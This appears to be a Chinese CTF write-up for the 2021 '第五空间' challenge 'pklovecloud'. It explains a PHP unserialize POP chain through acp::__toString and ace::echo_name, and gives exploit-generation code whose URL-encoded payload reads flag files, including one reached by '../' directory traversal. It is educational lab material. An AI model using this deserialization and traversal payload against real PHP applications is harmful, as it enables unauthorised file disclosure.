[第五空间 2021]pklovecloud 详细题解

知识点:

构造POP链
PHP类的作用域
NULL强比较
目录穿越

源码如下:

php 复制代码
 <?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?> 

构造POP链:

代码很直白,GET传入参数pks,输出反序列化的结果

从后向前推构造POP链,可以看到ace类中的代码 return file_get_contents($file);

file_get_contents()函数读取文件,但是不会输出,刚好代码最后会echo 输出反序列化后的结果,所以最终的目标就是读取flag文件然后输出得到flag

php 复制代码
class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

需要满足if(this-\>openstack-\>neutron === this->openstack->nova) 条件

openstack 是ace类中docker属性反序列化得到的结果,neutron 和 nova 都是acp类中的属性

this-\>openstack-\>neutron = heat;

这里代码中并没有出现过heat 参数,最开始 include 'flag.php'; 包含了flag.php文件,heat可能是在这里定义的,但是并不重要,因为在所有类中都没有出现过heat,那么heat的值就是NULL

因为类中的属性和类外面的属性值是没关系的

用两个php文件演示一下,在include.php文件中定义了$heat 然后另一个是反序列化文件

php 复制代码
//include.php
<?php
$heat="123456";
echo "hahaha"."\n";
php 复制代码
//serialize.php
<?php
include 'include.php';
echo $heat . "\n";
class ace
{
    public $filename;
    public $docker;

    public function abc()
    {
        if($this->docker === $heat)
            echo "ddddddddddddddddddddd!";
    }
}

$a = new ace();
echo $a->abc();
?>

结果在下面,这里没有给属性docker赋值,但是满足了 this-\>docker === heat 说明这里是NULL === NULL $heat不是外面的123456 而是NULL

既然heat = NULL this->openstack->neutron 和 $this->openstack->nova 就也得是NULL

this-\>openstack = unserialize(this->docker); openstack 又是反序列化 docker 属性的结果,那么对docker属性不赋值即可,这样反序列化得到的就是NULL

然后就是如何调用echo_name函数,发现 acp类中的 __toString()方法会return $this->cinder->echo_name()

cinder是protected类型,不能在外部赋值,需要在类内部的__construct()方法中改为ace类对象

toString()方法会在一个对象被当作字符串时被触发自动调用

最后的代码程序接受了pks参数后会先进行反序列化,然后echo 反序列后的对象
因此如果传入pks参数后,logData是反序列化得到的对象,然后会echo logData,就会触发__toString()方法,完成构造

pop链:

ace::echo_name() -> acp::__toString() -> acp:: __construct()

序列化代码:

php 复制代码
<?php  
class acp 
{   
    protected $cinder ;   //  2  在__construct()内部赋值为ace类对象
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new ace;
    }
}  
class ace
{    
    public $filename = 'flag.php';       //    内部赋值为flag.php
    public $openstack;
    public $docker;        // 1  赋值为空(null),或者什么都不赋值
    
}  

$a= new ace();
$a->docker = null;

$b=new acp();
echo urlencode(serialize($b));

这里要对序列化的结果进行url编码,因为acp类中有protected类型,protected属性序列化的时候格式是 \00*\00成员名 所以需要进行url编码防止无法识别

目录穿越:

查看源码得到flag.php 的源码,$heat确实是在这里定义的

修改代码中的文件名即可,public $filename = 'nssctfasdasdflag';

回显 keystone lost~ 说明没有满足if (file_get_contents($file))条件,那就是没有读取到文件,应该是文件的路径不对

这里 file = "./{this->filename}"; ./表示当前目录,花括号 {} 用于在字符串中明确地界定变量的边界,逐级目录穿越查找nssctfasdasdflag 文件所在的路径即可

目录穿越一级发现成功读取得到了flag,赋值为 public $filename = '../nssctfasdasdflag' 即可

相关推荐
若尘啊若辰7 小时前
安全通用要求之六安全管理制度
安全·网络安全·等保·等级保护·安全通用要求
介一安全8 小时前
【Frida Android】实战篇17:Frida检测与绕过——基于inline hook的攻防实战
android·网络安全·逆向·安全性测试·frida
Parasoft中国10 小时前
聚焦汽车网安落地!2026汽车网络安全标准及应用研讨会
人工智能·测试工具·安全·web安全·汽车
渣渣盟13 小时前
网络命令大全:轻松解决网络故障
开发语言·php
百***074513 小时前
gpt-image-1.5国内API稳定接入全方案(含多模态实操)
开发语言·gpt·php
小韩博13 小时前
小迪第42课:PHP应用&MYSQL架构&SQL注入&跨库查询&文件读写&权限操作
sql·mysql·网络安全·架构·php
天聚数行14 小时前
华为鸿蒙系统(HarmonyOS)调用天聚数行 API 教程
华为·php·harmonyos·tianapi·天聚数行
TG:@yunlaoda360 云老大15 小时前
如何在华为云国际站代理商控制台进行基础状态核查的常见问题解答
数据库·华为云·php
程序员在囧途16 小时前
Sora2 25 秒视频 API 国内直连!10 积分/次,稳定秒退任务,支持 avatar & Remix(附 PHP 接入教程)
后端·开源·php
emma羊羊16 小时前
Imagetragick 命令注入漏洞扫描
安全·web安全·imagetragick